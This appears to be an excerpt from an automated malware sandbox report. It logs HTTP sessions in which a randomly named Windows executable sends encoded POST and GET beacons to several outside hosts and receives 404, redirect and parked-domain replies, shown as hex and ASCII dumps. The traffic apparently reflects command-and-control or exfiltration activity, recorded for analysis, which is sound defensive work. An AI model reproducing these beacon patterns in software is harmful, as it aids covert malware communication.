Oct 9, 2024 14:21:57.331146002 CEST	1236	IN	Data Raw: 6b f1 7e 7e f0 85 fb 77 96 31 9b 10 14 e3 e7 de 80 8c 02 3a f0 06 a4 4b c7 a4 ef 1d e1 ef 18 51 7a de d0 1b b9 6f 7c 1b 90 81 77 24 b0 e8 98 b8 bf 9e d7 2b fe f0 dd 9d 05 3d 82 87 7d ac aa 2a ab 27 22 92 31 75 08 63 3a 7e d7 1b e3 c1 88 b8 71 9f Data Ascii: k~~w1:KQzo\|w$+=}'"1uc:~qRz8#~x#)HIq{;uP<)b/U){nv(=Kx4Y'e\|5Myffrt"Kk4Tq_3WPi:h:mry

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49662	162.241.244.106	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:59.067800999 CEST	10827	OUT	POST /hya5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.mommymode.site Origin: http://www.mommymode.site Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.mommymode.site/hya5/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 70 44 67 47 65 44 73 38 59 6c 37 6e 47 69 47 6a 64 37 63 52 49 5a 59 43 6b 65 64 36 45 79 30 76 43 58 38 45 30 71 37 32 50 58 48 4c 53 2b 71 73 65 76 63 72 31 5a 31 4f 70 70 75 6e 45 5a 61 57 2b 73 69 7a 43 65 4e 78 55 46 49 6f 58 51 52 32 39 51 50 63 56 33 69 66 4f 31 36 66 53 49 5a 59 51 64 69 33 70 63 57 77 78 74 56 6b 5a 68 47 31 30 75 34 71 7a 4d 55 65 77 52 62 42 39 34 4d 4a 45 38 57 50 50 61 49 7a 59 69 39 55 72 55 69 53 38 62 46 2b 51 47 69 59 79 66 79 75 74 72 31 30 67 4a 7a 41 4f 63 6a 72 72 37 64 42 7a 74 52 48 63 41 61 41 61 77 30 48 6b 68 76 35 71 35 71 55 57 4c 58 34 48 31 75 59 38 38 2b 54 53 49 64 74 31 49 62 46 4e 50 59 4b 76 35 62 65 39 57 52 6a 42 4c 61 72 45 58 4a 57 72 59 2f 6e 6b 6d 2b 44 7a 6d 77 56 73 6f 2f 6c 63 6b 36 61 56 6d 68 65 66 45 70 72 6b 74 74 7a 31 58 6f 36 34 48 4f 4f 74 48 54 45 65 5a 69 57 54 59 5a 35 53 62 46 63 57 65 62 38 75 44 5a 6a 66 56 53 69 53 4a 75 41 61 58 79 5a 57 71 6f 43 6b 52 43 39 6d 4d 52 56 65 50 71 4c 79 57 32 46 4f 2f 43 53 7a [TRUNCATED] Data Ascii: AHkx=pDgGeDs8Yl7nGiGjd7cRIZYCked6Ey0vCX8E0q72PXHLS+qsevcr1Z1OppunEZaW+sizCeNxUFIoXQR29QPcV3ifO16fSIZYQdi3pcWwxtVkZhG10u4qzMUewRbB94MJE8WPPaIzYi9UrUiS8bF+QGiYyfyutr10gJzAOcjrr7dBztRHcAaAaw0Hkhv5q5qUWLX4H1uY88+TSIdt1IbFNPYKv5be9WRjBLarEXJWrY/nkm+DzmwVso/lck6aVmhefEprkttz1Xo64HOOtHTEeZiWTYZ5SbFcWeb8uDZjfVSiSJuAaXyZWqoCkRC9mMRVePqLyW2FO/CSzYTipHmLVxeql8gduo1ld3ngP6+zrhWO0pXwEqJ2EgZ/mBZpFGa0YCh8gniBuVAvRydXKtwehNv/MuT3i8Pc9PI8LQgiikpu5J7eBEz1CZLCmUU7xs6Q7cjzqb4GXB5B9zF1c52IF46qFEhXslSfAR6a7p54LZfqa34nXCDZ++cpJG2D7hm7qyElMzwyPAKjJDWkqKonIq1FSjLZ+dDJK3lO5J0sbybmCfvtCytb9EF/momv4qOeFYQzNsYpvH/fFpHCpf2Mthfv6OkySAosMK0GmXlbVVi6WfOw+O9jXlW8FXl73IUBe6/jTNQgZ4vQWQqpmHk5hYACn1dR8bJCEoJusCG5iwxPSEdvC6tfoq3BAUYhU7wnvawf7ReEJUlO36KVjtgiFtURIN/Bn+mAbauGixYszudI8FwD4N4n7UXj0apeyZBscUlzP7hro6zhi77tHXiyoH2+MJnrqqV+PQN0t3JbyqjjmQ5uO++z2i9d96gCHdcnf2rsuM5Lk2+nBestNM2wAGwpmWA9x4hrzqJq8dccOM8A6/H6S6shoYyAPruprzjsNFwH8fJxut2SnvWkQTTkPoTaIqLgoxS4/O2TMeAxQ87I6kcuDu2s5u0HLYTLjbXJHo69tmVtm9FOaEKbIycU/p0D8WKPpnKoSDNNhPwKTCCUsuY [TRUNCATED]
Oct 9, 2024 14:21:59.854446888 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:21:59 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://mommymode.site/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 12947 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cd b2 eb 72 e3 c6 92 2d fc db 7a 8a 6a 76 d8 22 6d 16 78 a7 24 48 94 67 b6 2f e7 78 62 7b db e1 b6 67 62 c2 ed e8 28 02 09 a0 5a 85 2a ec aa 02 29 36 47 bf ce 53 9c 5f e7 15 bf 47 f8 b2 00 90 a2 28 50 54 eb ba db 16 01 54 65 ae 5c b9 d6 3a 7b f3 fd 2f df fd fe df bf fe 40 12 9b 8a f3 83 33 f7 20 82 c9 78 d2 00 49 ff 78 d7 70 67 c0 c2 f3 83 2f ce 52 b0 8c 04 09 d3 06 ec a4 f1 c7 ef 3f d2 e3 06 e9 ac 6f 24 4b 61 d2 98 71 98 67 4a db 06 09 94 b4 20 b1 72 ce 43 9b 4c 42 98 f1 00 68 f1 d1 26 5c 72 cb 99 a0 26 60 02 26 bd 02 67 03 e6 50 ab a9 b2 e6 70 0d 72 98 b2 4b ca 53 16 03 cd 34 b8 21 be 60 3a 86 c3 a2 d1 72 2b e0 fc 57 bc 25 52 59 12 a9 5c 86 e4 ab b7 c7 fd 5e ef 94 fc 4d 09 fc 60 69 76 4a 7e d5 60 ed 82 fc c2 0c 37 67 9d b2 eb e0 4c 70 79 41 34 88 c9 61 28 8d 83 8f c0 06 c9 21 49 f0 6d 72 d8 e9 a4 2a 4d 17 a9 0a c1 33 dc 56 13 d7 3d 0d 26 2c 68 c9 2c 34 88 5d 64 a8 00 cb 32 c1 03 66 b9 92 1d 6d cc 37 97 a9 c0 2b 37 6b d2 d8 c1 85 7c a5 d9 3f 73 75 4a 7e 04 08 1b e5 e0 [TRUNCATED] Data Ascii: r-zjv"mx$Hg/xb{gb(Z)6GS_G(PTTe\:{/@3 xIxpg/R?o$KaqgJ rCLBh&\r&`&gPprKS4!`:r+W%RY\^M`ivJ~`7gLpyA4a(!ImrM3V=&,h,4]d2fm7+7k\|?suJ~FbmfK:$D}U&-h9{#ecEww7w{S4F^/;v.-{acJ@\|s*4e3Jm~SyFDQMqP4Qp_/ho\]t~C~OP dU4(1MTtuN&V/;;Y<)~S\|-oDDcUpj_7-B)Z8Q/Uofm73N&8-<dbyuZ.X]kh#'g#rgB,l
Oct 9, 2024 14:21:59.854465961 CEST	1236	IN	Data Raw: 08 4e b2 e0 d4 7e 2a 36 ad 53 0d 36 d7 92 58 0f 30 04 8b e6 da 57 94 af b5 ac 2e 61 32 99 e8 3f ed 5f 57 ad 6b 81 f3 95 c0 66 ce 9d fc 58 1d 60 a2 1a 91 60 71 c3 af 1a 1d 4c e3 7d 1e 1e 0f 02 fc 8d a2 c1 fb 3c 82 6e f4 3e ef 77 bb 21 fe 8e d9 51 Data Ascii: N~*6S6X0W.a2?_WkfX``qL}<n>w!QyY6QMs6}Ul6!N]G;mm2\(:::88uZXWllx7m\MUv=Z>cI#!D\Bx3TDKK)W_X&o]"
Oct 9, 2024 14:21:59.854479074 CEST	1236	IN	Data Raw: 4d 55 08 7f 55 8e ac ee 30 94 96 07 4c 50 a1 ff 6a b5 6f e3 68 1e 27 9f 07 a4 85 03 ea 3f 11 a1 5b 38 0f 25 34 78 22 42 b7 70 1e 4a 68 f8 44 84 6e e1 3c 94 d0 e8 89 08 dd c2 79 28 a1 f1 13 11 ba 85 f3 30 42 4b ad 2c b3 e0 f7 8e bb 21 c4 57 07 67 Data Ascii: MUU0LPjoh'?[8%4x"BpJhDn<y(0BK,!WgxN\ik%K%jR&DAg)iF^{q.Uxe6ou!*\|lTqm,k-e$BZ}m]~=-vMoo\|\|".};.^X
Oct 9, 2024 14:21:59.854553938 CEST	1236	IN	Data Raw: c4 da cc ef 74 52 95 a6 8b 54 85 e0 e1 a6 d0 41 7e 28 80 c5 ac 77 8a 2d 4c 67 03 b6 c3 8c 01 6b 3a 88 d2 d9 31 c1 4b b9 f4 f0 fe db 19 e8 49 cf eb 7a dd 43 92 42 c8 d9 e4 90 09 71 48 3a db ba 41 aa 3e 72 5a ee 72 53 b2 83 2f 78 1a 3b c1 4c ca 05 Data Ascii: tRTA~(w-Lgk:1KIzCBqH:A>rZrS/x;L,}dy!7Ziem<"U$a^'eIy3M.Rc.}%kv)eq'O5,jRb!U5PBim{Li5:v?lB/0OYoo{
Oct 9, 2024 14:21:59.854567051 CEST	1236	IN	Data Raw: 76 37 bb 6c 5d fd 5b 0a 21 67 c4 04 1a 40 12 26 43 d2 bc a6 3b ee ba 9a e5 53 51 42 b0 ab ab 83 b3 4e 21 e5 f9 c1 99 e0 f2 82 68 10 93 c3 e2 c4 24 00 f6 90 f0 70 72 28 a3 90 ce 95 2c ec 13 2a b8 30 34 b7 5c 20 18 18 1a 18 73 48 12 0d d1 e4 30 b1 Data Ascii: v7l][!g@&C;SQBN!h$pr(,*04\ sH06;T"U!x8:%PLLE2,:i0DqHGJTq4`'"xIzCRh99dB.Xw!.Q(:?p&Y:,@\|\|upJQ@;4S/\|
Oct 9, 2024 14:21:59.854578972 CEST	1236	IN	Data Raw: 76 73 de b2 61 b7 3b 1c d6 e2 47 0a b1 0d ff 04 94 9a 94 09 e1 93 40 b0 34 6b f6 34 20 88 fb 25 df 90 66 b3 37 9b 13 4a ba 5e 1f 0f 5a e4 6b 7c eb 1e 8f 5b 58 80 4f 77 b4 1b 35 85 90 e7 e9 1a d6 1b 94 c0 c5 73 07 74 bf 57 42 8f ee 46 16 4c c7 b0 Data Ascii: vsa;G@4k4 %f7J^Zk\|[XOw5stWBFLV;Ghh7hC>JwzVWwK.b21JMk)^oE?>:F.\,0yc3BY>t_wnXF7IW_.1HIcKc2B,
Oct 9, 2024 14:21:59.854597092 CEST	1236	IN	Data Raw: 9f 05 3f 6b 1c c6 ce 58 cd b8 84 f0 b1 ab 6f 43 3d 54 81 2d 9c 17 12 22 12 70 d9 5a de 3b 45 3b 71 62 cd c3 cf c1 d9 b2 1e 17 f6 98 e0 b1 14 10 d9 25 9e 30 5c d6 bd af b6 e1 52 a0 32 d7 76 dc 3c 2e b6 ec 43 ba 1b 57 f3 38 59 03 17 1f f5 c8 0e a4 Data Ascii: ?kXoC=T-"pZ;E;qb%0\R2v<.CW8Y9iAr}rfJ[&oS?4uS*TyVk<r!Z-sI<fb]4jqu,3ZD^\aEjK\dZv?tY{ZLBj\|RuM6UX
Oct 9, 2024 14:21:59.854715109 CEST	1236	IN	Data Raw: a5 53 04 7f 82 81 05 50 dd 3c 1e 27 16 43 00 20 ab 58 3c 64 d6 16 c8 4e 8f 1e 39 67 1b 64 57 ca 56 f9 7e 98 55 37 21 76 ee f2 b8 21 5b 18 3b a7 64 b9 ce c4 63 46 94 00 35 f8 53 66 1e 86 eb 1a 6b f0 02 25 ad 66 c6 3e 08 73 d5 5c e7 a8 e6 29 d3 8b Data Ascii: SP<'C X<dN9gdWV~U7!v![;dcF5Sfk%f>s\)YYCq5^5&V4II('YnL)q9i`NE(u&`~]F8 uc(g@<R+X:uQJ3?Nih
Oct 9, 2024 14:21:59.854729891 CEST	1236	IN	Data Raw: 9d 62 d4 9d 22 2d b8 4d e8 5c c9 10 34 2d ee 3e 4b 9f 62 5f d3 99 2a 11 d2 4c 83 b5 0b aa 98 e1 86 f6 cb d1 6b 29 7a 5e d7 eb 7e 8e 79 9b bc 56 01 2b 24 7e 38 cb 0d c8 4d 13 6b d0 bd 94 cb a7 a1 ae 21 e6 c6 02 da f4 4c ec eb 07 98 a7 db 60 33 a3 Data Ascii: b"-M\4->Kb_Lk)z^~yV+$~8Mk!L`3OG{u>MyfE&KL!Q"bRUg2T#a65r4cE4"n9^k(\IWb~4N}72yJ~^TBj;Z//QO;<UFoJ5R
Oct 9, 2024 14:21:59.854747057 CEST	1236	IN	Data Raw: e3 d2 ec b1 ad f7 02 bb 65 25 13 3a eb af d6 ea 3d c4 b1 9a 85 6a cc 7a b5 85 9e d7 a7 fe ab ac d5 7f 3e 9f 5e 6d a1 e7 f5 69 f0 2a 6b 0d 9e cf a7 57 5b e8 79 7d 1a be ca 5a 1a e2 5c 30 fd 5c 5e bd ce 52 cf 6b d4 e8 55 76 c2 a9 cf 65 d2 ab 2d f4 Data Ascii: e%:=jz>^mi*kW[y}Z\0\^RkUve->_ej=OGj=Oj=O'j=w`/)YZKC?"?v_pFHDlx\Cik3xu^"oy^c94~uY+j_
Oct 9, 2024 14:21:59.859499931 CEST	1097	IN	Data Raw: 3a 6d 72 b8 79 f8 d1 1c b6 8a c6 1d a0 0e ce dd 5f b5 9a ae 0e 95 59 11 3c 13 5c 5e 60 70 c5 e4 b0 d0 c2 24 00 f6 90 f0 70 72 38 0f ca 65 0d 2d 6e 68 60 cc 21 49 34 44 93 c3 c4 da cc ef 74 52 9c bf 48 55 08 9e e1 16 3a a8 0e 86 cf e2 f8 4e 26 f2 Data Ascii: :mry_Y<\^`p$pr8e-nh`!I4DtRHU:N&K\N (;!;=rHR92!IE.I;nFXHQ$\eP"9IVW;]wcV3xt:WI5\|q~obtLK#!CK@p\!+6*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49663	162.241.244.106	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:22:01.610969067 CEST	464	OUT	GET /hya5/?rf-LZ=JlCtuN3HqPO8C&AHkx=kBImd3s/QyLjHyq7crISF49n+tt0DF04aEwkxNbGH3XUM96sRoRP4M1J0fvTDuXIyYiaCoNXLmg3Qmdc8wSzVCSMG3zCGblVdbb3qd6x39FLIiPv6fMrlbs= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.mommymode.site Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:22:02.429029942 CEST	622	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 09 Oct 2024 12:22:02 GMT Server: nginx/1.25.5 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://mommymode.site/hya5/?rf-LZ=JlCtuN3HqPO8C&AHkx=kBImd3s/QyLjHyq7crISF49n+tt0DF04aEwkxNbGH3XUM96sRoRP4M1J0fvTDuXIyYiaCoNXLmg3Qmdc8wSzVCSMG3zCGblVdbb3qd6x39FLIiPv6fMrlbs= host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress X-Server-Cache: true X-Proxy-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49671	199.59.243.227	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:22:09.188841105 CEST	731	OUT	POST /nuqv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.polarmuseum.info Origin: http://www.polarmuseum.info Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.polarmuseum.info/nuqv/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 52 6f 35 59 65 74 71 48 6c 6d 6b 38 42 4c 44 47 4f 2b 4d 77 69 43 2b 52 57 52 2b 6e 4b 54 54 77 6d 38 47 32 55 57 54 71 47 72 43 56 4e 4a 41 6e 36 68 45 4a 66 4d 55 44 42 6d 2f 34 51 6a 35 36 31 43 68 79 64 6c 75 39 4d 64 36 7a 4a 53 4d 55 55 75 36 48 76 43 4c 66 4c 4f 33 39 73 43 6a 4a 30 52 52 5a 41 4a 30 72 46 41 31 55 70 2b 38 4f 65 77 64 55 6f 64 54 73 52 68 45 2f 54 65 76 65 76 6e 49 42 6f 72 44 49 78 76 6e 35 7a 2b 6b 52 46 7a 73 69 7a 32 4f 72 70 6c 56 75 47 33 6c 41 51 66 56 6f 46 53 30 69 6d 33 41 2b 31 54 6a 5a 37 4d 66 4d 78 4e 50 4e 38 55 51 52 70 57 38 63 47 77 3d 3d Data Ascii: AHkx=Ro5YetqHlmk8BLDGO+MwiC+RWR+nKTTwm8G2UWTqGrCVNJAn6hEJfMUDBm/4Qj561Chydlu9Md6zJSMUUu6HvCLfLO39sCjJ0RRZAJ0rFA1Up+8OewdUodTsRhE/TevevnIBorDIxvn5z+kRFzsiz2OrplVuG3lAQfVoFS0im3A+1TjZ7MfMxNPN8UQRpW8cGw==
Oct 9, 2024 14:22:09.653481960 CEST	1236	IN	HTTP/1.1 200 OK date: Wed, 09 Oct 2024 12:22:09 GMT content-type: text/html; charset=utf-8 content-length: 1130 x-request-id: b2c53ab8-d411-46f0-9cf6-21c84a388545 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bwwSsOG/hTj7Z+Eakf3+Bt00ZJwan5TDSf5fy7MIYb1IWMhYqLtHMy5blwXa+1aZ9H1OKKTs5DWiKPWVk7obdA== set-cookie: parking_session=b2c53ab8-d411-46f0-9cf6-21c84a388545; expires=Wed, 09 Oct 2024 12:37:09 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 62 77 77 53 73 4f 47 2f 68 54 6a 37 5a 2b 45 61 6b 66 33 2b 42 74 30 30 5a 4a 77 61 6e 35 54 44 53 66 35 66 79 37 4d 49 59 62 31 49 57 4d 68 59 71 4c 74 48 4d 79 35 62 6c 77 58 61 2b 31 61 5a 39 48 31 4f 4b 4b 54 73 35 44 57 69 4b 50 57 56 6b 37 6f 62 64 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bwwSsOG/hTj7Z+Eakf3+Bt00ZJwan5TDSf5fy7MIYb1IWMhYqLtHMy5blwXa+1aZ9H1OKKTs5DWiKPWVk7obdA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 9, 2024 14:22:09.654592991 CEST	583	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYjJjNTNhYjgtZDQxMS00NmYwLTljZjYtMjFjODRhMzg4NTQ1IiwicGFnZV90aW1lIjoxNzI4NDc2NT

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49672	199.59.243.227	80

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:22:11.739000082 CEST	751	OUT	POST /nuqv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.polarmuseum.info Origin: http://www.polarmuseum.info Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.polarmuseum.info/nuqv/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 52 6f 35 59 65 74 71 48 6c 6d 6b 38 43 6f 62 47 64 4e 55 77 72 43 2b 53 5a 78 2b 6e 44 7a 54 30 6d 38 36 32 55 58 6e 36 47 59 32 56 4e 72 59 6e 6f 54 38 4a 59 4d 55 44 4f 47 2f 39 55 6a 35 68 31 44 64 36 64 67 4f 39 4d 64 75 7a 4a 58 49 55 55 5a 6d 45 39 69 4c 64 53 65 33 2f 78 53 6a 4a 30 52 52 5a 41 4a 78 2b 46 44 46 55 70 4f 73 4f 66 53 31 58 68 39 54 72 48 52 45 2f 59 2b 76 61 76 6e 49 6a 6f 76 4b 74 78 74 76 35 7a 36 67 52 46 6d 51 6c 36 32 4f 74 6e 46 55 72 4b 55 30 75 4b 2b 6f 61 4e 52 6b 73 68 48 30 71 77 56 79 44 71 39 2b 62 6a 4e 72 2b 68 54 5a 6c 6b 56 42 56 64 35 39 6d 48 39 53 47 69 51 78 7a 57 68 2f 7a 4d 6b 2f 5a 4a 55 38 3d Data Ascii: AHkx=Ro5YetqHlmk8CobGdNUwrC+SZx+nDzT0m862UXn6GY2VNrYnoT8JYMUDOG/9Uj5h1Dd6dgO9MduzJXIUUZmE9iLdSe3/xSjJ0RRZAJx+FDFUpOsOfS1Xh9TrHRE/Y+vavnIjovKtxtv5z6gRFmQl62OtnFUrKU0uK+oaNRkshH0qwVyDq9+bjNr+hTZlkVBVd59mH9SGiQxzWh/zMk/ZJU8=
Oct 9, 2024 14:22:12.189127922 CEST	1236	IN	HTTP/1.1 200 OK date: Wed, 09 Oct 2024 12:22:11 GMT content-type: text/html; charset=utf-8 content-length: 1130 x-request-id: e7e56816-8276-4080-9a8c-c998f3a467aa cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bwwSsOG/hTj7Z+Eakf3+Bt00ZJwan5TDSf5fy7MIYb1IWMhYqLtHMy5blwXa+1aZ9H1OKKTs5DWiKPWVk7obdA== set-cookie: parking_session=e7e56816-8276-4080-9a8c-c998f3a467aa; expires=Wed, 09 Oct 2024 12:37:12 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 62 77 77 53 73 4f 47 2f 68 54 6a 37 5a 2b 45 61 6b 66 33 2b 42 74 30 30 5a 4a 77 61 6e 35 54 44 53 66 35 66 79 37 4d 49 59 62 31 49 57 4d 68 59 71 4c 74 48 4d 79 35 62 6c 77 58 61 2b 31 61 5a 39 48 31 4f 4b 4b 54 73 35 44 57 69 4b 50 57 56 6b 37 6f 62 64 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bwwSsOG/hTj7Z+Eakf3+Bt00ZJwan5TDSf5fy7MIYb1IWMhYqLtHMy5blwXa+1aZ9H1OKKTs5DWiKPWVk7obdA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 9, 2024 14:22:12.189147949 CEST	583	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZTdlNTY4MTYtODI3Ni00MDgwLTlhOGMtYzk5OGYzYTQ2N2FhIiwicGFnZV90aW1lIjoxNzI4NDc2NT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49673	199.59.243.227	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
